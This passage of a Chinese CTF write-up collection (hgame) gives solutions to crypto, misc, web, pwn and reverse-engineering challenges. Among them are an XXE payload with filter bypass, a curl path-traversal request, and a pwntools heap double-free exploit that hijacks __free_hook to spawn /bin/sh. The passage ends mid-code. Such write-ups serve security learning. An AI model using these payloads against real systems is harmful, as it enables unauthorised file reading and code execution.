131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713 phi = (p ** 2 - p) * (q ** 3 - q ** 2) * (r ** 5 - r ** 4) * (s ** 7 - s ** 6) d = invert(e, phi) print(n2s(pow(c, int(d), n))) [Crypto]RSA Attack 3 By S1eepy\n维纳攻击，github 上找个脚本解出 d 即可\nhttps://github.com/pablocelayes/rsa-wiener-attack\nfrom libnum import n2s n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759 e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095 c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224 d = 13094612077654083919 print(n2s(pow(c, d, n))) # hgame{dO|YOU:kNOw!tHE*PRINcIplE*bEhInd%WInNEr#aTTacK} [Misc]卡中毒 By NULLPointer\n题目给出了一个 raw 文件，提示本题考查内存审计的知识点。使用内存审计工具 volativity 查看文件信息。\n首先查看系统配置，使用指令 imageinfo 指令查看系统文件，发现主系统为 Win7SP1x64。\n随后使用 pslist 和 filescan 指令查看运行程序和系统文件，为加快扫描速度只提取 flag 等关键词，发现名为 flag.txt.txt.7z 和 flag.txt.txt.WannaRen 的文件。\n使用 dumpfiles 指令提取文件，用 HexEditor 扫描无异常，打开 flag.txt.txt.WannaRen 文件发现内容被加密，无法阅读。查阅相关资料得知系统感染了 WannaRen 病毒导致系统内部存储文件被加密。WannaRen 使用 RC4 和 RSA 的混合加密模式，加密后的文件名会被修改为 WannaRen，只能使用对应的 RSA 私钥解密，无法被暴力破解。目前已有针对该病毒的解密工具，下载解密工具并按照操作流程解密得到 flag.txt.txt 文件。\n文件内容使用新与佛论禅加密，使用解密网站 http://hi.pcmoe.net/buddha.html 解密即可得到flag。\nweek4 [Web]Comment By SSGSS\n代码中允许引入外部实体，libxml_disable_entity_loader(false);\n协议过滤的比较死，但是能通过 compress.zlib:// 这个协议拿到 /etc/passwd 这种，但是还是拿不到源码，因为源码里有 php。\n于是利用 data 协议的输入流，将输入流 base64，将外部实体导入到 \u0026lt;sender\u0026gt; 当中，绕过 waf。\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;data://text/plain;base64,YWRtaW4=\u0026#34; \u0026gt;]\u0026gt; \u0026lt;comment\u0026gt;\u0026lt;sender\u0026gt;\u0026amp;xxe;\u0026lt;/sender\u0026gt;\u0026lt;content\u0026gt;\u0026lt;/content\u0026gt;sb\u0026lt;/comment\u0026gt; pil1ow 师傅的做法非预期了，用 html 实体编码绕，不用引入外部实体。\n\u0026lt;comment\u0026gt;\u0026lt;sender\u0026gt;\u0026amp;#97;\u0026amp;#100;\u0026amp;#109;\u0026amp;#105;\u0026amp;#110;\u0026lt;/sender\u0026gt;\u0026lt;content\u0026gt;sb\u0026lt;/content\u0026gt;\u0026lt;/comment\u0026gt; 好文章：\nXXE - XEE - XML External Entity - HackTricks\n[Web]FileSystem By SSGSS\n$ curl --path-as-is -X CONNECT http://1e4c3338e4.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag hgame{79f33a8b9913e797c56375c6a78865dc439578f70d572b9a402f1ad57f7eb856} [Pwn]vector By triplewings\n了解 vector 的申请原理，制造 double_free from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./vector\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 51445) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) # def proof(y): # may = string.ascii_letters+string.digits # for i in may: # for j in may: # for k in may: # for l in may: # res = i +j +k +l # if hashlib.sha256((res).encode()).hexdigest() == y: # p.sendline(res) # return # print(\u0026#39;Wrong!\u0026#39;) # p.recvuntil(b\u0026#34; == \u0026#34;) # a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() # print(a) # proof(a) def menu(i): p.sendlineafter(b\u0026#34;farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(4) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def move(f, t): menu(5) for i in range(f): p.sendlineafter(\u0026#34;[1/0]\\n\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;0\u0026#34;) p.sendlineafter(\u0026#34;[1/0]\\n\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(t)) for i in range(8): add(i, 0x100, b\u0026#34;aaaa\u0026#34;) for i in range(8,10): add(i, 0x70, b\u0026#34;aaaa\u0026#34;) for i in range(1,8): free(i) free(0) add(0, 0x50, b\u0026#39;aaaaaaaa\u0026#39;) show(0) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x170 print(hex(libc.address)) for i in range(1, 8): add(i, 0x70, b\u0026#39;aaa\u0026#39;) move(2, 17) add(10, 0x70, b\u0026#39;idx:10\u0026#39;) for i in range(3, 10): free(i) free(2) free(10) free(17) for i in range(2, 9): add(i, 0x70, \u0026#39;\\n\u0026#39;) add(9, 0x70, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(11, 0x70, b\u0026#39;pass\\n\u0026#39;) add(12, 0x70, b\u0026#39;/bin/sh\\x00\\n\u0026#39;) add(17, 0x70, p64(libc.sym[\u0026#34;system\u0026#34;])) free(12) gdb.attach(p) p.interactive() [RE]WOW By s0uthwood\n这题几乎和天堂之门没关系，主要是把密钥隐藏了，运算之后应该是 12345678，但也可以直接用 windbg 动调拿到轮密钥\n通过置换函数+明显的常数特征判断是 DES，直接解密就行\n网上抄了份 DES，改一改就行\nsolve.c\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026#34;bool.h\u0026#34; #include \u0026#34;tables.h\u0026#34; void BitsCopy(bool *DatOut,bool *DatIn,int Len); void ByteToBit(bool *DatOut,char *DatIn,int Num); void BitToByte(char *DatOut,bool *DatIn,int Num); void BitToHex(char *DatOut,bool *DatIn,int Num); void HexToBit(bool *DatOut,char *DatIn,int Num); void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num); void LoopMove(bool *DatIn,int Len,int Num); void Xor(bool *DatA,bool *DatB,int Num); void S_Change(bool DatOut[32],bool DatIn[48]); void F_Change(bool DatIn[32],bool DatKi[48]); void SetKey(char KeyIn[8]); void PlayDes(char MesOut[8],char MesIn[8]); void KickDes(char MesOut[8],char MesIn[8]); int main() { char MesHex[64]={\u0026#34;92028926CF6497655A09A46F3A079DB14320B10556683353BB5AF969BBB23EA2\u0026#34;}; // 16个字符数组用于存放 64位16进制的密文 char MyMessage[32]={0}; KickDes(MyMessage,MesHex); KickDes(MyMessage+8,MesHex+16); KickDes(MyMessage+16,MesHex+32); KickDes(MyMessage+24,MesHex+48); printf(\u0026#34;Deciphering Over !!:\\n\u0026#34;); for(int i = 0; i \u0026lt; 32; i++) { printf(\u0026#34;%c\u0026#34;, MyMessage[i]); } printf(\u0026#34;\\n\u0026#34;); system(\u0026#34;pause\u0026#34;); } void BitsCopy(bool *DatOut,bool *DatIn,int Len) { for(int i=0; i \u0026lt; Len; i++) { DatOut[i] = DatIn[i]; } } void ByteToBit(bool *DatOut,char *DatIn,int Num) { for(int i = 0; i \u0026lt; Num; i++) { DatOut[i] = (DatIn[i / 8] \u0026gt;\u0026gt; (i % 8)) \u0026amp; 0x01; } } void BitToByte(char *DatOut,bool *DatIn,int Num) { for(int i = 0; i \u0026lt; (Num / 8); i++) { DatOut[i] = 0; } for(int i = 0; i \u0026lt; Num; i++) { DatOut[i / 8] |= DatIn[i] \u0026lt;\u0026lt; (i % 8); } } void BitToHex(char *DatOut,bool *DatIn,int Num) { int i; for(i = 0; i \u0026lt; Num / 4; i++) { DatOut[i] = 0; } for(i = 0; i \u0026lt; Num / 4; i++) { DatOut[i] = DatIn[i * 4] + (DatIn[i * 4 + 1] \u0026lt;\u0026lt; 1) + (DatIn[i * 4 + 2] \u0026lt;\u0026lt; 2) + (DatIn[i * 4 + 3] \u0026lt;\u0026lt; 3); if((DatOut[i] % 16) \u0026gt; 9) { DatOut[i] = DatOut[i] % 16 + \u0026#39;7\u0026#39;; } else { DatOut[i] = DatOut[i] % 16 + \u0026#39;0\u0026#39;; } } } void HexToBit(bool *DatOut,char *DatIn,int Num) { for(int i = 0; i \u0026lt; Num; i++) { if((DatIn[i / 4]) \u0026gt; \u0026#39;9\u0026#39;) { DatOut[i] = ((DatIn[i / 4] - \u0026#39;7\u0026#39;) \u0026gt;\u0026gt; (i % 4)) \u0026amp; 0x01; } else { DatOut[i] = ((DatIn[i / 4] - \u0026#39;0\u0026#39;) \u0026gt;\u0026gt; (i % 4)) \u0026amp; 0x01; } } } void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num) { static bool Temp[256] = {0}; for(int i = 0; i \u0026lt; Num; i++) { Temp[i] = DatIn[Table[i] - 1]; } BitsCopy(DatOut, Temp, Num); } void LoopMove(bool *DatIn,int Len,int Num) { static bool Temp[256]={0}; BitsCopy(Temp,DatIn,Num); BitsCopy(DatIn,DatIn+Num,Len-Num); BitsCopy(DatIn+Len-Num,Temp,Num); } void Xor(bool *DatA,bool *DatB,int Num) { for(int i = 0; i \u0026lt; Num; i++) { DatA[i] = DatA[i] ^ DatB[i]; } } void S_Change(bool DatOut[32],bool DatIn[48]) { int i,X,Y; for(i = 0, Y = 0, X = 0; i \u0026lt; 8; i++, DatIn += 6, DatOut += 4) { Y=(DatIn[0] \u0026lt;\u0026lt; 1) + DatIn[5]; X=(DatIn[1] \u0026lt;\u0026lt; 3) + (DatIn[2] \u0026lt;\u0026lt; 2) + (DatIn[3] \u0026lt;\u0026lt; 1) + DatIn[4]; int v9 = S_Box[i][Y][X]; for(int j = 3; j \u0026gt;= 0; j--) { DatOut[j] = v9 % 2; v9 /= 2; } } } void F_Change(bool DatIn[32],bool DatKi[48]) { static bool MiR[48]={0}; TablePermute(MiR,DatIn,E_Table,48); Xor(MiR,DatKi,48); S_Change(DatIn,MiR); TablePermute(DatIn,DatIn,P_Table,32); } void SetKey(char KeyIn[8]) { static bool KeyBit[64] = {0}; static bool *KiL = \u0026amp;KeyBit[0], *KiR = \u0026amp;KeyBit[28]; ByteToBit(KeyBit, KeyIn, 64); TablePermute(KeyBit, KeyBit, PC1_Table, 56); for(int i = 0; i \u0026lt; 16; i++) { LoopMove(KiL, 28, Move_Table[i]); LoopMove(KiR, 28, Move_Table[i]); TablePermute(SubKey[i], KeyBit, PC2_Table, 48); } } void PlayDes(char MesOut[8],char MesIn[8]) { int i; static bool MesBit[64] = {0}; static bool Temp[32] = {0}; static bool *MiL = \u0026amp;MesBit[0], *MiR = \u0026amp;MesBit[32]; ByteToBit(MesBit, MesIn, 64); TablePermute(MesBit, MesBit, IP_Table, 64); for (i = 0; i \u0026lt; 64; i++) { printf(\u0026#34;%d \u0026#34;, MesBit[i]); } printf(\u0026#34;\\n\u0026#34;); for(i = 0; i \u0026lt; 16; i++) { BitsCopy(Temp, MiR, 32); F_Change(MiR, SubKey[i]); Xor(MiR, MiL, 32); BitsCopy(MiL, Temp, 32); for (int j = 0; j \u0026lt; 64; j++){ printf(\u0026#34;%d \u0026#34;, MesBit[j]); } printf(\u0026#34;\\n\u0026#34;); } for(i = 0; i \u0026lt; 32; i++) { int tmp = MesBit[i]; MesBit[i] = MesBit[i + 32]; MesBit[i + 32] = tmp; } TablePermute(MesBit, MesBit, IPR_Table, 64); for (i = 0; i \u0026lt; 64; i++){ printf(\u0026#34;%d \u0026#34;, MesBit[i]); } BitToHex(MesOut,MesBit,64); } void KickDes(char MesOut[8],char MesIn[8]) { int i; static bool MesBit[64] = {0}; static bool Temp[32] = {0}; static bool *MiL = \u0026amp;MesBit[0], *MiR = \u0026amp;MesBit[32]; HexToBit(MesBit, MesIn, 64); TablePermute(MesBit, MesBit, IP_Table, 64); for (i = 0; i \u0026lt; 32; i++) { int tmp = MesBit[i]; MesBit[i] = MesBit[i + 32]; MesBit[i + 32] = tmp; } for(i = 15; i \u0026gt;= 0; i--) { BitsCopy(Temp, MiL, 32); F_Change(MiL, SubKey[i]); Xor(MiL, MiR, 32); BitsCopy(MiR, Temp, 32); } TablePermute(MesBit, MesBit, IPR_Table, 64); for (i = 0; i \u0026lt; 64; i++){ printf(\u0026#34;%d \u0026#34;, MesBit[i]); } BitToByte(MesOut, MesBit, 64); } bool.h，我的评价是不如直接上 c++\n#ifndef __BOOL_H__ #define __BOOL_H__ typedef enum { false = 0, true = 1 } bool; #endif tables.h，之前找到的文件有几处与题目中不同，不知道是作者写错了还是题目改数了，直接把算好的 subkey 填到这里，就不用再输入密钥算了\n#ifndef _TABLES_H_ #define _TABLES_H_ const char IP_Table[64]={ 58,50,42,34,26,18,10, 2,60,52,44,36,28,20,12, 4, 62,54,46,38,30,22,14, 6,64,56,48,40,32,24,16, 8, 57,49,41,33,25,17, 9, 1,59,51,43,35,27,19,11, 3, 61,53,45,37,29,21,13, 5,63,55,47,39,31,23,15, 7 }; const char IPR_Table[64]={ 40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31, 38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29, 36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27, 34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25\t}; static char E_Table[48]={ 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9,10,11,12,13,12,13,14,15,16,17, 16,17,18,19,20,21,20,21,22,23,24,25, 24,25,26,27,28,29,28,29,30,31,32, 1 }; static char PC1_Table[56]={ 57,49,41,33,25,17, 9, 1,58,50,42,34,26,18, 10, 2,59,51,43,35,27,19,11, 3,60,52,44,36, 63,55,47,39,31,23,15, 7,62,54,46,38,30,22, 14, 6,61,53,45,37,29,21,13, 5,28,20,12, 4 }; static char Move_Table[16]={ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 }; static char PC2_Table[48]={ 14,17,11,24, 1, 5, 3,28,15, 6,21,10, 23,19,12, 4,26, 8,16, 7,27,20,13, 2, 41,52,31,37,47,55,30,40,51,45,33,48, 44,49,39,56,34,53,46,42,50,36,29,32\t}; static char S_Box[8][4][16]={ //S1 14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7, 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8, 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0, 15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13, //S2 15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10, 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5, 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15, 13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9, //S3 10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1, 13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7, 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12, //S4 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15, 13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9, 10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4, 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14, //S5 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9, 14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6, 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14, 11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3, //S6 12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11, 10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8, 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6, 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13, //S7 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1, 13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6, 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2, 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12, //S8 13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7, 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2, 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8, 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11 }; static char P_Table[32]={ 16, 7,20,21,29,12,28,17, 1,15,23,26, 5,18,31,10, 2, 8,24,14,32,27, 3, 9,19,13,30, 6,22,11, 4,25 }; static bool SubKey[16][48]={ 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0 }; #endif [RE]server By s0uthwood\n下断点，浏览器输入 localhost:9090?flag=hgame{} 就能断住，然后就是慢慢调试了\nrsa 部分用的 math/big 库中的东西，还是比较容易识别的（go 还是看汇编舒服）\n随后就是两个循环的异或了，这里用 z3 解的，所以逻辑直接看代码就行\nfrom libnum import * from z3 import * flag = [BitVec(\u0026#39;f%i\u0026#39; % i, 8) for i in range(153)] s = Solver() c = 0x66 flag2 = [] for i in range(153): v16 = flag[i] flag2.append(v16 ^ c) c = v16 for i in range(153): v18 = flag2[i] flag2[i] = v18 ^ c c = v18 cipher = [ 99, 85, 4, 3, 5, 5, 5, 3, 7, 7, 2, 8, 8, 11, 1, 2, 10, 4, 2, 13, 8, 9, 12, 9, 4, 13, 8, 0, 14, 0, 15, 13, 14, 10, 2, 2, 1, 7, 3, 5, 6, 4, 6, 7, 6, 2, 2, 5, 3, 3, 9, 6, 0, 11, 13, 11, 0, 2, 3, 8, 3, 11, 7, 1, 11, 5, 14, 5, 0, 10, 14, 15, 13, 7, 13, 7, 14, 1, 15, 1, 11, 5, 6, 2, 12, 6, 10, 4, 1, 7, 4, 2, 6, 3, 6, 12, 5, 12, 3, 12, 6, 0, 4, 15, 2, 14, 7, 0, 14, 14, 12, 4, 3, 4, 2, 0, 0, 2, 6, 2, 3, 6, 4, 4, 4, 7, 1, 2, 3, 9, 2, 12, 8, 1, 12, 3, 12, 2, 0, 3, 14, 3, 14, 12, 9, 1, 7, 15, 5, 7, 2, 2, 4 ] for i in range(153): s.add(flag2[i] == cipher[i]) for i in range(153): s.add(flag[i] \u0026gt;= ord(\u0026#39;0\u0026#39;)) s.add(flag[i] \u0026lt;= ord(\u0026#39;9\u0026#39;)) s.check() m = s.model() for i in flag: print (chr(m[i].as_long()), end=\u0026#39;\u0026#39;) # 135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024 M = 92582184765240663364795767694262273105045150785272129481762171937885924776597 N = 107310528658039985708896636559112400334262005367649176746429531274300859498993 t = M * N e = 950501 phi = (M - 1) * (N - 1) n2s(pow(135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024, invmod(e, phi), t)) # b\u0026#39;hgame{g0_and_g0_http_5erv3r_nb}\u0026#39; [RE]ezvm By s0uthwood\n把几个指令整理一下\n能够看出特定用途的几个寄存器：\n[8]: ZF 相等为 0，大于为 1，小于为 -1 [9]: stack [9 + 100]: code [9 + 200]: data\n其他的应该都是 rax 之类的\n总结的几个指令：\nop disasm 0 mov r3, r2 1 inc r2 2 dec r2 3 xor r3, r7 4 push r3 5 push r5 6 push r6 7 pop r3 8 pop r5 9 pop r6 10 pop r2 11 pop r7 12 jz $+1+r6 13 jnz $+1+r6 14 jmp $+1+r2 15 cmp r3, r5 16 getchar(r3) 17 putchar(r3) 18 push *((r4++)+0xD1) 19 mov r3, [rbp+r2] 20 mov [rbp+r2], r3 21 add r3, r3 接下来就是反汇编了\ncode = [ 0x12, 8, 0x12, 9, 0x10, 4, 1, 0x0F, 0x0D, 2, 0x12, 8, 0x12, 9, 0, 4, 0x0F, 0x0D, 0x12, 9, 0x12, 0x0A, 0x13, 0x12, 0x0B, 0x15, 3, 0x14, 1, 0, 0x0F, 0x0D, 0x12, 0x0A, 0x12, 0x12, 0x12, 8, 0x13, 0x0F, 7, 4, 9, 0x0D, 9, 8, 5, 6, 4, 1, 0, 0x0F, 0x0D, 0x12, 9, 0x12, 8, 0x12, 0x0A, 0x12, 7, 0x0F, 0x0C, 0x11, 0x0E ] def disasm(i, c): if c == 0: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [3], [2]\u0026#34;) elif c == 1: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;inc [2]\u0026#34;) elif c == 2: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;dec [2]\u0026#34;) elif c == 3: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;xor [3], [7]\u0026#34;) elif c == 4: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [3]\u0026#34;) elif c == 5: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [5]\u0026#34;) elif c == 6: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [6]\u0026#34;) elif c == 7: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [3]\u0026#34;) elif c == 8: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [5]\u0026#34;) elif c == 9: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [6]\u0026#34;) elif c == 10: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [2]\u0026#34;) elif c == 11: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [7]\u0026#34;) elif c == 12: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jz $+1+[6]\u0026#34;) 